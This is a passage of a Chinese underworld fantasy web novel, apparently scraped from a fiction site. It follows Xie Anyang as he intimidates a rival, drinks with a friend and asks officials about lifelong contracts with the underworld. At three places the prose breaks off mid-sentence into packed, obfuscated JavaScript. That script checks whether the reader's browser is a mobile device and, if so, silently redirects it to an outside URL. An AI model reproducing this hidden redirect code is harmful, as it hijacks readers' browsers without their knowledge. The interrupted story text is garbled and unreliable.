他呼吸一滞,眼睁睁看着自己被对方拖到忘川河畔,距离忘川河也就一尺见宽,腿已经失去知觉了,他又哭又喊:“你他妈到底要干什么啊谢安阳!?” 谢安阳没理会他的惊恐,偏头环顾着四周,好一会才看到远处的红色荧光里簇拥着一只悬浮的眼球。 洪磊惊惧之下,突然听见他喃喃自语:“也不知道忘川水能不能溶窥镜。” 洪磊脑海一片空白:哥你别这样我害怕! 谢安阳依旧托着他的后脑勺,在他满目惊恐的目光下,稍微使了点力,就将他的头按了下去。 “啊——”紧接着,空气里弥漫出一股难闻的尿腥味,洪磊吓得大喊大叫出来——他的脸距离忘川河面不足两寸。 洪磊脖子上有枚桃核坠,因为动作太大,直接滑下来掉进了忘川水中,他看不到什么情况,只感觉脖颈处空荡荡的,估摸着是绳子被溶断了。 洪磊还有挣扎的念头,就发现身体彻底动不了了,双腿早已瘫软,无尽的恐惧加身,他竟不由自主地放声哀嚎出来,话都说不利索了,“谢……安,阳,我去去你妈的呜呜……” 谢安阳叹息一声,无奈地抱怨:“你方才还说会当作没看到,怎么转眼就骂上我了?” 洪磊见事态有所缓和,慌忙组织话语保证:“你放过我,我不会跟任何人说的,求求你了,谢兄弟……不,谢大哥!谢祖宗!!爹!!!” 谢安阳嫌弃地“啧”了一声,说:“我放过你,你不会转头就把我卖了吧?毕竟你这么干过。” 洪磊头摇得像拨浪鼓,欲哭无泪,“不会不会!我发誓!!” “不对呀,”谢安阳腾出左手从衣兜里掏出手串把玩,还满不在乎地说:“你尽管去告状呗,正好让我猜猜看,刘钦他们是会信你,还是会信上任老城主的私生子?” 洪磊这就懵了,其实他并没有见过手串,更不知道是谁的,但不难听出谢安阳的意思——这玩意可能是上任老城主的?? 难怪上次刘钦没责怪谢安阳,二话不说惩戒了自己,谢安阳作为罪魁祸首却一点事情没有。 洪磊战战兢兢没敢再接话,想要放声嘶喊引人过来,招来的人也未必能拿谢安阳怎么样,而况现在是深夜,附近巡逻的差使差不多散了。 也就是说,现在没人能帮他。 “我错了谢大哥,你到底想要我怎样,我一定照做,绝不透露半个字,我发誓!”洪磊口上赌咒发誓,心里想的却是,只要能撑到明天,找到差使就有救了,先把现在的难关度过了再说。 谢安阳半信半疑地放了手,洪磊当即吓得一屁股坐到地上,双腿都在发抖。 谢安阳摊开掌心看了一眼,其实什么也没沾到,但就是很嫌弃,便将手伸进忘川河中清洗。 洪磊可能是没想到他不惧怕忘川水,呼吸都凝滞了。 最后谢安阳洗完手,还对他说:“别乱说哦,否则我会把你沉入忘川底下,全尸都留不下来!” 洪磊连连点头,“不会不会,我打死也不会说半个字!” 谢安阳自然不信他,要不是有问心契在身,早把他掀进去了。于是他轻笑一声,温声说:“我明天再来看你,乖。” 洪磊惊慌失措地应着声,连滚带爬进了花丛中。 等人走远了,他来到窥镜之下,抬眼看窥镜摇头晃脑似的左右晃动,余光里透进几分人稀罕至的苍凉。 他伸出手,正准备拿下窥镜,就听见不远处传来一阵轻微的脚步声,他慌忙间收回手,看见了一名白衣女子。 女子一袭白裙,她赤脚踩在泥面上,小心翼翼地靠近忘川,轻盈而又灵动,无意中瞥见谢安阳,顿时像只受惊的小鹿,吓得止住了脚步。 她可能是没想到会有人在,局促不安地瞄谢安阳一眼,仿佛是认出了熟人,她面上又是一喜,轻唤:“谢公子?” 谢安阳伸到半空的手默默地拐回来,他顺势挠挠后脑勺,尴尬地接了话:“何姑娘,当心啊!” 何琬纳闷地看了看河畔,适当隔了一定距离,面容满是喜悦,话音也格外轻灵:“我现在不怕啦。” 谢安阳放下手,留意到何琬发间多了根银簪,看神色也不似往日郁郁的模样,便故作好奇地问:“何姑娘,什么事这么高兴啊?” 何琬席地坐到了河畔,双手托着脸颊,一脸雀跃地回答:“我找到了我的兄长!” 谢安阳并没有感到惊讶,因为彼岸花田无边无际,仿佛走不到尽头,这些人又不时疯疯癫癫的,历经千百年才找到亲人很正常。 谢安阳瞥了一眼窥镜,很不甘心地走开了。他来到何琬旁边,远眺着天际,河畔的尽头掩藏在层层迷雾间,都看不见来去的船只。 白日天边总是挂着一轮夕阳,是那种昏黄的光,到了夜里就是雾蒙蒙一片,层层叠叠地包裹着红色荧芒的花海。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496499|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >何琬忽然喃喃自语起来:“兄长在这里,我定能找到我相公的。” 谢安阳犹豫了一会,忍不住问:“若是找不到怎么办?” 这个问题把何琬为难住了,只见她面色窘迫起来,一时竟不知道该怎么接话,谢安阳就说:“你没想过去轮回吗?” 何琬仔细想了想,无奈地摇摇头,“我还是想找到他,这是我的执念,我不能忘。” 谢安阳就不好说什么,跟这姑娘也没那么多共同话题,一时间气氛就有些尴尬。 也是这时候,身后突然响起“咚”的一声,似乎有个东西掉到了地上,还飞快地滚动起来,伴随着“咕咚”一声,有东西掉入了水中,附近也响起一个老人的呻吟声:“哎哟!” 谢安阳听到声音不太对劲,第一反应是看向“咕咚”声的源头——很好,是颗发黑的窥镜,周身布满了血沫,在黑乎乎的气泡中浮浮沉沉,又缓慢地化为乌有。 谢安阳眼睁睁地看着窥镜消失殆尽,猛然间转过身去,却看见茴香豆依旧扶着腰呻吟,顿时有点懵了,“你怎么来了?” 茴香豆尴尬地笑笑,“路过。” 那颗窥镜就这样没了??虽然于谢安阳来说是好事,可茴香豆这就算是惹事了,被地府的人发现他肯定完了。 何琬歪头看看他俩,可能是觉得两个大男人在这里有些尴尬,便直起身远离了河畔,“谢公子,我先回去了?” 谢安阳一门心思想知道这老头想干什么,就没有多心,摆摆手让何琬离去,“去吧。” 等何琬走远了,茴香豆又用手撑着淤泥,一步步爬到了河畔,谢安阳问:“上次你怎么招呼也不打一声就走了?” “你这不是没事吗?”茴香豆寻了个舒适的姿势坐正了。 谢安阳有些无语,试探地问:“你方才看到了什么?” “我说没看到,你会信我吗?” “不会。” 茴香豆怒极反笑:“小兔崽子。” 谢安阳坐到他旁边,目及远处,还假装若无其事地问:“窥……方才是怎么回事?” 茴香豆含糊其辞地说:“好奇,碰了一下,谁知道竟然就掉了,怎么,你知道那是什么?” 谢安阳噎了一下,“不知道。” 茴香豆但笑不语。 “你为何不怕忘川水?” 茴香豆却突然神情严肃地反问:“阳儿,你真的觉得忘川水什么都能溶吗?” 经这一提醒,谢安阳若有所思地抚着下巴,“目前除了常宇的鱼线,还有船,它们有彼岸花神力附着,所以不会受忘川水影响,这怎么了?” 为验证心中所想,他突然摸到衣兜里有颗糖,就摸出来丢进忘川河中——依旧是熟悉的碳化现象。 谢安阳兀自猜测:“我猜这玩意可能溶不了玻璃。” 茴香豆问:“你说的是琉璃吗?” 谢安阳皱眉一皱:“这是古代的叫法,你难道不知道玻璃?” “老夫见识短浅,没见过。” “……” 茴香豆就说:“试试吧。” 谢安阳觉得他缺心眼,“哪来的玻璃让我试……” 他说着自己先愣了一下。 这玩意说不定刘钦有,他记得刘钦房间里有酒。 谢安阳默默看向茴香豆,想从他细微的表情中看出端倪,却不想茴香豆依旧笑着,看不出任何异样。 16. 问心(一) 忘川河每到寒夜降临,水面的雾气总是格外浓重,河岸边漂浮着一条小船,船头有盏油灯,成为了浓雾中唯一的光亮。 岸边有块界碑上书“枉死城”,有个青年从船上跳了下来,还有模有样地冲掌舵人一拱手,“多谢,我先走了。” 掌舵人看他走得火急火燎,追着问:“什么时候回来?” 谢安阳脚步匆忙,他没回头,只搁下一句:“找人喝酒,一时半会回不来。” 掌舵人默默翻个白眼,还是好心叮嘱:“赶不上下一趟船回去,你今天就宿在忘川吧!” “知道了,我早去早回。” 一路上很多来来往往忙碌的差使,还有不少刚喝完忘川水、正排队等候安排的孤魂,他便沿着队伍尽头往前走。 忘川河里的生水会溶万物,河畔有专门处理生水的地方,叫做往生殿,经他们处理过的水喝下能够一定程度清除记忆。 而吴桉就在往生殿就职。 往生殿设置在河畔,直属地府管辖,再往外围走,就是真正的地府境内。地府向来不干预忘川府内务小事,但遇到大事,忘川府也会上报地府。 双方管辖下的差使几乎不怎么来往,非要说有什么交集,就是往生殿与忘川府共同接洽新来者,所以他们来往最是频繁,差使之间大多也是相熟的。 谢安阳到的时候,往生殿门口前仅有两人在轮值,哪怕到了深夜,仍有源源不断的往生者前来,排队领饮忘川水。 两名差使看到他,还热情地跟他招呼。谢安阳跟他们寒暄了几句,就听到里面传来一道粗犷的男声:“所有人都得饮下忘川水,你不喝我们并不会拦你,但你得想清楚,一旦忘不掉恩怨,别说去轮回境转生,你连枉死城都进不去!” 王鹤青面前的姑娘吓得浑身发抖,小声解释:“可他那样对我,凭什么还活得好好的,公道何在,我什么也做不了,就连记恨他一辈子也不行吗?” “傻丫头哟,世间哪有公道可言,”王鹤青语重心长地劝说:“现在枉死城外的花田里,执念不散的人少说有好几万,大多数都会落个疯癫的下场。放下恩怨重新开始不好吗,轮回后你会遇到很多对你好的人,干什么非得因为恶人糟践自己?” “我不,男人没一个好东西,我不能就这样忘记他的所作所为!”姑娘还有待争辩,王鹤青却突然一眼瞧见了谢安阳,或许是见多了世事百态,他懒得再给姑娘灌鸡汤,径直走向谢安阳。 “谢大少爷,稀客呀。” 谢安阳故作不在意,就问:“吴桉呢?” 王鹤青说:“今晚不用他轮值,早回去歇着了,你找他干嘛?” “有事,我去找他了。” “你小子不对劲。” 谢安阳见刚才的姑娘快要哭了,目光示意王鹤青去看看人家,还好声好气地说:“毕竟是个姑娘,你耐心说说,她会放下的,我就不耽误你工作了,先走了啊。” 说完一溜烟就跑,气得王鹤青直骂骂咧咧:“有事钟无艳,无事夏迎春是吧?找我帮忙就格外殷勤,我一失去利用价值,就调头去找吴桉?!” 谢安阳已经跑远了,还不忘扔下三个字:“听不见!!” 王鹤青气得牙痒痒,只好转头对姑娘说:“我觉得你说得对,男人没一个好东西。” 姑娘擦擦眼泪:“啊?” …… 谢安阳好容易找到吴桉住处,四周乌漆嘛黑一片,门口连颗夜光石都没放,害他摸黑途中差点被杂物绊倒。 他推门进去时,吴桉还在呼呼大睡,于是他走过去,毫不留情地扬起手,一巴掌将吴桉打醒了。 吴桉睁开眼,整个人还是懵的:“?” 谢安阳就不太高兴:“吴桉,我心情不好,想喝酒了。” 吴桉反应过来了,起床气直冲天灵盖:“大半夜的?大少爷你不睡觉?” 谢安阳胡说八道起来,丝毫不脸红:“你不也没睡吗?” 吴桉咬牙切齿:“谢安阳你是狗吧!” 谢安阳:“我是人。” “滚蛋。” 谢安阳二话不说,拽着他就走,“少废话,走,陪我喝酒。” “……” 吴桉气得毛都炸了,翻箱倒柜总算翻出一堆夜光石来照明,谢安阳则跑去翻他的酒扔到桌上。 吴桉看到酒坛,就感觉心口隐隐作痛:“你是把这里当你家了是吧?” “别气了,下次我去枉死城给你带葡萄,让你酿葡萄酒?” 吴桉:“你……”气愤完,把话憋了回去。 地府是不会出现人间食物的,包括酒,而枉死城要什么有什么,只是东园酿的酒的味道不如吴桉酿的,所以谢安阳没事就会给他提供点原材料。 谢安阳厚着脸皮倒酒,顺道跟他说了一遍遇到黑影的事。 谁知吴桉听了唯一的反应却是:“你刚拿了老子的辰砂,转眼就胳膊肘往外拐?” 谢安阳把酒推到他面前,试图狡辩:“倒不是,她一小姑娘刚来忘川,怎么就得罪人了,我总觉得哪里不对劲。” “她怎么样,关你屁事?” 谢安阳抿了口酒,还横眉冷对:“只要人人都献出一点爱,世界就会变成美好的未来。” 吴桉:“我去你的!” 谢安阳一边喝,一边滔滔不绝地述说。吴桉揉着惺忪的熊猫眼,没精打采地听他狗叫,“您慢慢说,看到谁了。” 谢安阳一杯饮尽,脸色都发红了,还兴高采烈地举着杯子比划:“太过分了,还跟小孩子抢巧克力,他肯定是地府的人,要不就是花田来的,枉死城的人单纯,也不缺吃食,没那么多歪心思……” “那是,枉死城除了你,谁都单纯。”吴桉含含糊糊地打断。 谢安阳白他一眼,“你说这么小的孩子,能有什么执念放不下呢?” “是啊。” “她被洪磊踹的时候都没吭气,这还有人想杀她。” “是的。” “花田最近总有人‘失足’掉下忘川,也不知道跟这件事有没有关系。” “嗯嗯。” “要不咱俩把她弄到枉死城吧,我有预感,我可能跟她有什么渊源,否则她怎么会拉住我不放?” “你说得对……呼呼……” 谢安阳越想越气,又闷头灌了两杯酒,“可我喝过忘川水,什么也想不起来了。” “可怜呼呼……” 谢安阳疑惑地抬起眼,却看见吴桉手撑着额头打盹,便不高兴地问:“吴桉,你在干嘛?” 吴桉的双眼半睁半闭:“没错!” “…………” 谢安阳:“看得出你很不情愿。” 吴桉惊醒了,简直要谢天谢地:“祖宗你终于看出来了,我太累了,求你放过我吧。” 谢安阳喝得面红耳赤,还不忘斟了杯酒推到他面前:“我又不累。” “为什么你上辈子不是狗转生的?” “你这话不对,我分明是人。” 吴桉被这么一折腾,气得清醒了不少,硬着头皮陪他喝了几杯,听他说个没完没了,要不是还有事求他,非把他扔出去不可。 好在谢安阳酒量并不行,可能是真的心情不好,一连喝了很多,没过多久就一头醉倒在了桌上。 吴桉看他突然倒在桌上,还吓得一激灵,反应过来谢安阳是醉倒的,感到一阵无语,便揉揉太阳穴:“我这是造了什么孽啊?” 吴桉耐着性子扶他起来,正准备送回去,却见他倏地直起身,又醉醺醺地指着他:“站那儿,不许动!” 吴桉立刻不动了。 谢安阳走一步晃一步,左右晃来晃去,吴桉上前扶住他,却听他突然神秘一笑,“小桉子,告诉你个秘密。” 吴桉愣了愣,“什么?” 谢安阳痴痴地笑了一阵,眼眸微微沉了下去,似乎有些失落,还隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吴桉无奈地解释:“谢安阳喝醉了,麻烦姑娘送他找杨洵吧。” 梧桐顺手接过,眼中却生了疑惑,“你是他什么人?” “安阳的朋友,他来找我喝酒,这不是醉了吗,我把他送回来。” 梧桐打量着他一身的地府制服,又看他面生,将信将疑地“哦”了一声,寻思等谢安阳醒来追问清楚。 吴桉将手中的酒塞到谢安阳手中,也不管他听不听得见,耐心地对他说:“安阳,我要走了,这瓶酒留给你。” “噢。”谢安阳手碰到酒瓶又想打开,吴桉连忙按住他,“这次喝太多了,留着下次喝吧。” 梧桐则说:“你去吧,我带他回忘川府。” “好。” 梧桐带谢安阳离岸后,将船交给轮值的差使,又格外嫌弃地扶着他走在长道上,还忍不住抱怨:“跑去对岸喝酒,还喝这么多,要不是应叔让我来接你,看你怎么回来!” 谢安阳半梦半醒地被她推着走,走出几步却突然一个激灵睁了眼,还吓得梧桐手抖了一下,“又怎么了?” 谢安阳没吱声,偏头望了一眼远处,见小船重新悠悠地淌入河中央,又被迷雾吞没,他不紧不慢地站直了,还扒开梧桐。 梧桐有点懵:“你又怎么了?” 谢安阳拿起手中的酒端详了一会,又扫梧桐一眼,发现自己喝得的确有点高,便再次扒开她,淡声说:“不用管我,你去忙吧。” 梧桐有些意外:“喝这么多酒,你自己能走回去?” 谢安阳却安安稳稳地走出一段路,才扔下一句,“男女授受不亲知不知道,你这姑娘一点都不矜持!” “?” 梧桐假小子当久了,感到莫名其妙,“你是假酒喝多了,还是酒精把脑子灌糊涂了!?” “关你屁事。”谢安阳轻哼一声,继续朝前走了。 梧桐气得直跺脚,“好好好,你走,好心当作驴肝肺,你最好从石道上摔下来,摔不死你了还!” 17. 问心(二) 忘川府的人员住处都是四园相应的后院,唯有掌事会单独有个院子,而城主则是住在四园中心的院落。 刘钦作为掌事有单独的院子,而谢安阳每次来找他都会翻/墙,被刘钦发现后,索性半掩着门让他来。 刘钦伸着懒腰打开房门时,有个人顺着门滑了下去,还险些以头抢地,头撞到门框一下给他撞醒了。 而谢安阳本是想找个地方靠一会,没想到会糊里糊涂地来南园,还带小崽来到刘钦房门前睡过去,更没想到刘钦会突然开门,头被撞得生疼不说,小崽在他怀里,把他腿都压麻了。 酒喝多了,谢安阳一觉醒来,只感到腰酸背痛、头脑晕沉,几乎站不住。 刘钦顺手将他薅了起来,没好气地问:“少爷,干嘛呢?” 谢安阳没理会刘钦问话中的讥讽,将旁边的一瓶酒挪远了,捂着太阳穴抱怨:“哥,看着点人,我好歹是未来的枉死城城主。” “会说就多说点,我一字不落重复给城主,让他来收拾你。”刘钦目光示意不远处房檐下的窥镜。 旁边小崽也是抱着他胳膊,唯唯诺诺地候在一旁。 谢安阳身上的酒香还没散,刘钦闻见了,顿时眉头一蹙,“去哪花天酒地了?” 谢安阳眉目一挑:“听听你说的是人话吗?” 刘钦张口就嘲讽:“枉死城的人都像你这样闲吗?” 谢安阳默默闭嘴了,但心有不甘,又小声嘀咕:“等我当上城主,第一个革你的职。” 刘钦身上有彼岸花,自然是听清了,立马跟了一句,“求之不得,这破工作谁爱干谁干去,爷早就不想伺候了,让爷回枉死城养老吧。” 谢安阳:“好歹是有编制的,别这样。” 刘钦冷笑:“呵,安能摧眉折腰事权贵,使我不得开心颜!” “不是……这句话是这么用的吗?” 刘钦没搭理谢安阳,走到中庭洗漱,路过他时还补充了一句,“阳儿,打算什么时候篡位,我纠集十万孤魂野鬼去帮你?” “……” 谢安阳无意中瞥见房檐处的窥镜,又问:“对了,这个窥镜有什么用?” 刘钦正对着镜子整理衣物,漫不经心地回答:“一种能记录视野范围内所见所闻的人工智障?” “……” 这功能就有点耳熟,很像人间的某种东西。 这时,小崽忽然软软地唤了一声,“哥。” 谢安阳终于想起她来,就将她牵到一边,问:“说起来,你真的想不起来叫什么名字了吗?” 小崽摇摇头。 谢安阳便问:“那我给你取个名字好不好?” 小崽不解地看着他,但还是点了点头。 谢安阳兀自想了一想,温声念道了一句话:“天植者,心也。” 小崽眨了眨眼。 刘钦隐约猜到他要做什么,但还是不可置信地问:“你又想干什么?” 谢安阳斟酌着词句说:“你总说我没有心,这不就有了?” 刘钦蹙了蹙眉,想起了谢安阳初次来地府时的模样,那时他心口有个血窟窿,满身是鲜血淋漓,看着就骇人。 后来的时日里,谢安阳总会有意无意地用衣物遮挡,也从来不愿意让别人碰他,哪怕不小心碰到了胳膊,他都会炸毛。 忘川水能一定程度损伤记忆,尤其是恩怨情仇,可细微末节的东西未必能够忘记。 刘钦只当他还有心理阴影,除了初次见面,再也没在他面前提起过这茬。印象里,这还是谢安阳第一次主动提这回事,于是刘钦忍住了没怼他。 谢安阳对小崽说:“往后你就叫天植,随我姓,名叫谢天植好不好?” 小崽张了张口,欲言又止。 刘钦日常泼他凉水:“你这是收了个妹妹还是闺女?” “关你屁事。” 刘钦也是不忍了,将他拉到一边,估摸小崽听不到了,就压低声音说:“忘川彼岸的孤魂野鬼游荡了不知多少年,有的人终日不见天光,心理早已扭曲,她要是故意找上你的怎么办?” 谢安阳不以为然:“可她是新来的,不像你口中这种人。” 刘钦还是好心规劝:“少爷,她早晚要回花田,你闹这一出想做什么?” 谢安阳立马见缝插针接话:“钦儿哥,你来枉死城时间长、见多识广,快跟我说说,有没有什么办法能让小植进枉死城?” 刘钦就不太耐烦,走到一旁洗漱,“问城主去。” 谢安阳好声好气地说:“我若是能问他,还来找你干嘛?” 他说着,就见刘钦把衣袖撸开了,左腕的红色彼岸花露了出来,他连忙凑过去问:“你这是什么?” 刘钦在刷牙,含糊不清地说:“石蒜。” 谢安阳说:“我是问,你个大男人纹朵花在手臂干什么?” 刘钦把水吐了,没好气地问:“那你觉得我应该纹什么?” 谢安阳:“青龙白虎朱雀玄武,哪个不是看起来很酷?” “滚。”刘钦直翻白眼:“没见过世面的土包子。” “你这是人身攻击,我自闭了。” “赶紧去跳忘川,省得成日到处晃碍我眼。” “……” 太过分了。 这刘钦简直不可理喻。 谢安阳又讨好地问:“我怎么没有这个?” 刘钦用毛巾擦了把脸,“地府收编人员才有,你是枉死城的普通人,当然没有了。” 谢安阳若有所思地托起腮,“不会漏了谁么?” 刘钦就盯着他看。 “我是说,会不会有的地府人员没有这朵花?比如对岸的差使。” 刘钦却一本正经地回答:“只要是地府的收编人员都会有这道印记,哪怕是负责缉拿罪魂的鬼差也有。” “好吧。” “为什么突然问这个?” 谢安阳含糊地说:“好奇。” 刘钦眉头一紧,继续盯着他,“你很可疑!” 谢安阳丝毫不怕被看出端倪,迎视着他的目光问:“这有什么用?” 刘钦没看出什么,只好说:“这是人与地府签的终身契印记,能够拥有彼岸花的力量,且终身不老不死,而代价是永不能轮回。你是未来城主的候选人,若你最终当选城主,也会种下彼岸花。” 谢安阳就不太高兴,“算了吧,我要去人间轮回,瞧不上你们这破城主之位。” 刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496501|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钦翻个白眼:“爱要不要。” 正说着,有两个人从外面进来了。 谢安阳记得,中年男人名叫应弘,而少年十几岁的样子,名叫方晏,这俩人平时是在刑堂负责管理窥镜显像,与他倒是偶尔有来往,但算不得多熟。 二人齐齐向刘钦见了个礼,“执法大人。” 见完礼,应弘瞥见谢安阳,略有些惊讶地问:“谢安阳,你怎么还在这里?” 谢安阳懵了一下,“怎么了?” 应弘顿时一副明了表情,摸摸胡子,不慌不忙如是说道:“明掌事说你要是迟到,就先把西园上下打扫一遍。” 谢安阳:“???” 刘钦似乎也想起了这回事,就对他说:“西园还是挺远的,感觉你应该来不及过去了。” 其实他有彼岸花,并不害怕明庭的威胁,但若他表现得不害怕,反而容易让人生疑。 谢安阳连忙问:“现在几点了?” 刘钦从衣兜里摸出块怀表看了一眼,随后温声说:“七点二十七分,你还有三分钟。” 谢安阳问:“我现在去跳忘川还来得及吗?” 刘钦微笑:“应该来得及。” 谢安阳面色倒还是平静的,他来到天植身边蹲下,温声对她说:“好好跟着刘钦哥哥,别再乱跑了,我去去就回。” 天植立马露出一副不情愿的表情,可又清楚谢安阳必须得走,只好说:“那你早点回来。” “好。” 谢安阳应声后直起身,别开脸,默默地走了出去,到最后还直接用跑了,“啊啊啊——” 刘钦看他跑远了,“啧啧”感叹两声,对天植说:“隔老远都能听到你哥的惨叫声。” 应弘鄙夷地接了一句,“该的,昨晚上跑去对岸往生殿喝酒,将近子时才回来,差点没赶上最后一趟船。” 刘钦最初没反应过来,一回神,追问:“你说他昨晚去对岸喝酒了!?” 应弘说:“是啊,26号窥镜里的显像看到他跑出去了,我担心他回不来,还特地让小梧桐去接的他。” 刘钦也是忍不住骂骂咧咧起来:“就是说谢安阳真了不起,哪哪都有熟人,连对岸的人都认识,你们就说他一个枉死城的普通人,是怎么做到四海皆朋友的?” 应弘默默叹气:“谁说不是呢,阳儿人缘真好。” 刘钦又瞥方晏一眼,“你呢,你又来干嘛?” 方晏一听这话,终于想起来什么,毛都炸了:“对了,执法大人,花田离河畔最近的那颗编号21的窥镜找不到了!” 刘钦:“?” 方晏风风火火地说:“就是突然与显像池断了联系,大清早就听他们说21号窥镜不见了。” 刘钦问:“还能显像吗?” 只要还能显像,就能看到消失之前发生过什么。 方晏说:“显不了了,肯定是被那个王八蛋丢忘川水里溶了!要是被我查到是谁,非扒了他的皮不可!” 应弘也无奈地说:“按理说花田那些人不敢动地府的东西,何况他们怕忘川水,更没人敢靠近河畔,我也不知道问题出在哪,只能带小晏来向你禀报一声。” 刘钦斟酌了一会,说:“走,去看看。” 18. 问心(三) 谢安阳本就不愿意来西园,他拎着扫帚敷衍了两下,明庭就看不下去了,走过来轻声细语地问:“安阳,你是不是不愿意啊?” 谢安阳昨晚没睡好,头脑昏昏沉沉的、四肢无力,当然不愿意了,便慵懒地“啊”了一声。 谢安阳以为他会放过自己,结果没想到却听到他“哦”了一声,平平淡淡地说:“那下次来早点。” 谢安阳板着脸问:“是他强加给我的身份,凭什么我还得遵循他的安排?” 明庭好声好气地说:“多少人想当这个候选人,你这就属于是给脸不要。” 明庭仿佛猜到他有鬼话要说,连忙打断:“当城主有很多特权,你将掌管忘川府上下,也可以自由安排花田的人,你不是很早之前就想给他们一个好的归宿吗?” “我看起来有这么善良伟大吗?” “没有吗?” 谢安阳噎住了,懒得跟他争辩。 明庭找了卷文书到一旁坐下,还冲他招招手,“你过来。” 谢安阳默默坐到他对面,明庭将左腕的彼岸花露出来,问:“你在忘川府待了这么长时间,应该见过这个吧?” 谢安阳一副不在意的表情:“人与地府签订的终身契,刘钦说过,签下这个契约后,就不用再怕忘川水,而且不老不死,但得终身留在地府,再也不能去轮回。” 明庭并不意外,接着问:“你从前问他们这些事,唯一能和你说的只有城主,但现在得到城主许可,你想知道什么都可以问我。” 谢安阳试探地问:“这个卖身契是不是有种玄乎的力量能够为己所用?” “什么叫卖身契,有点难听了啊,不过你说对了,用现代社会的话来说,彼岸花中有一定能量。” 谢安阳有些不解:“没有这个东西会怎么样呢?” 明庭说:“其实除了枉死城和花田的人,签下终身契的人也会产生饥饿感,地府的肉身是不会被饿死的,但这种感觉一旦产生也会很难受,枉死城的人是正常进食来缓解焦灼之感,而地府人员则以这种能量供养,还能利用这种能量做点别的事情。” 谢安阳问:“比如?” 明庭笑了笑,“又比如忘川府是没有鬼医的,一旦磕磕碰碰受伤了,只能靠这种能量来自愈。” 谢安阳琢磨了一会,接着问:“那你们是怎么衡量的?” 明庭说:“与人间一样,这东西就等同于相应的俸禄,按每个人的职位来定,就比如城主能获得的能量肯定是高于普通差使的。” “那不就是工资的另一种形式吗?” “差不多。” 谢安阳自己消化了一下,感觉好像还是有点科学的,又开始琢磨起了别的:“那你说,与地府签下终身契的人算神吗?力量非比凡人,不老不死,不惧忘川水,岂不是无敌了?” 明庭不以为意:“想什么呢,地府人员一旦犯错,也会受到相应的神罚,南园有专门对付收编人员的灵器。” 谢安阳就有点兴奋,忍不住摩拳擦掌:“仔细说说看,哪天我找来对付刘钦。” 明庭说:“少开这种玩笑,你平常见到的地府人员,平时一点碰碰撞撞都得用花神力自愈,但要是用地府灵器伤的,伤口将跟枉死城的人一样,永远也无法恢复。” 谢安阳不禁猜测:“那这种灵器是受忘川府管控的吗?” “每位差使都有佩刀,你看到的话当心离远点,南园刑狱中也有不少灵器,我记得小刘钦书房里就有一把弓箭,但一般地府的兵器发放都会记录在册。” 谢安阳若有所思地抚着下巴。 明庭突然想起什么,又走到一旁的四方小盒子给他,“对了,给你这个。” “巧克力?西园怎么会有这个?”这玩意按理说东园和刘钦才会有。 果不其然,明庭无奈地说:“这是小刘钦留给你的,说你们枉死城的人娇气,容易感到饥饿。” 谢安阳嘴欠了一句,“他有这么好心?” 明庭觉得可能对刘钦有误会,好声好气地说:“你这些年没少从他那里偷拿巧克力吧,你以为他不知道吗?也就是刘钦会纵容你,换了城主,你以为你还能得逞?” 谢安阳就忍不住有了个猜测:“他是不是想等我攒够一定数量,达到地法标准,送我去刑狱?” “……” 其实谢安阳是开玩笑的,外人的东西他看都懒得看一眼,但是跟刘钦熟,摸得清刘钦的脾性,所以无论刘钦得到什么新奇玩意,他高低都会顺来看一眼。 换句话说,但凡知晓刘钦不会纵容,他一次都不会碰。 谢安阳不太想讨论这种无用的话题,就转而问道:“你能给我说说地府法则吗,我来这忘川府这么多年,好像光想着同你们打交道了,对最基本的法则都不了解。” 他虽然在枉死城待了三年,但其实跟花田、忘川府、对岸的人打交道时间并不长。最初是一直在适应枉死城的生活,后来才慢慢一步步与人打交道,但仅仅是有来往,并不会打听别的。 明庭却说:“按规矩你得四园都走上一遭,这是南园的事务,刘钦自会教你,而我只需要告诉你咱们西园文书楼的要务。” “那接下来要说什么?” 明庭沉思了好一会,才悠悠地说:“枉死城的存在历史悠久,忘川府和花田有各个朝代的人,而枉死城中的城民随着寿终都会去轮回,随着人间文明进步,当中的朝代就会更迭,忘川府也得借鉴人间的文明,才能够妥善安置枉死城的人。” 这回谢安阳倒是听懂了,窥镜也好,门鸮也罢,就连忘川府的修建都是从人间学来的,所以四园也模仿人间的规则运行。 想到这里,谢安阳倒是忽然间想起了一件事,忍不住问明庭:“对了明叔,我听人说过,忘川府乃是五十多年前一位天才设计师带头修建的,可我来这里这么长时间,怎么从未见过他?” 明庭不假思索地说:“从前的确是有位设计师来过忘川府,但我是二十多年前才上任的,从未见过他本人,待我想想,我应该是听说过他名字的……” 谢安阳试探地提醒:“雷献彩?” 明庭愣了一下,感觉莫名其妙,“谁跟你说是雷献彩?” 谢安阳心中也疑惑,随口说:“对岸的人说的。”他把矛头推给对岸的人,对峙的可能性会小一点。 明庭回忆道:“不对,我好像记得那位设计师姓沈……” 谢安阳小指蜷缩了一下,“姓沈???” 明庭认真思索了一会,点头说:“对,是姓沈。” “全名呢?” “这……我倒是没什么印象。” 感觉明庭有点不靠谱。 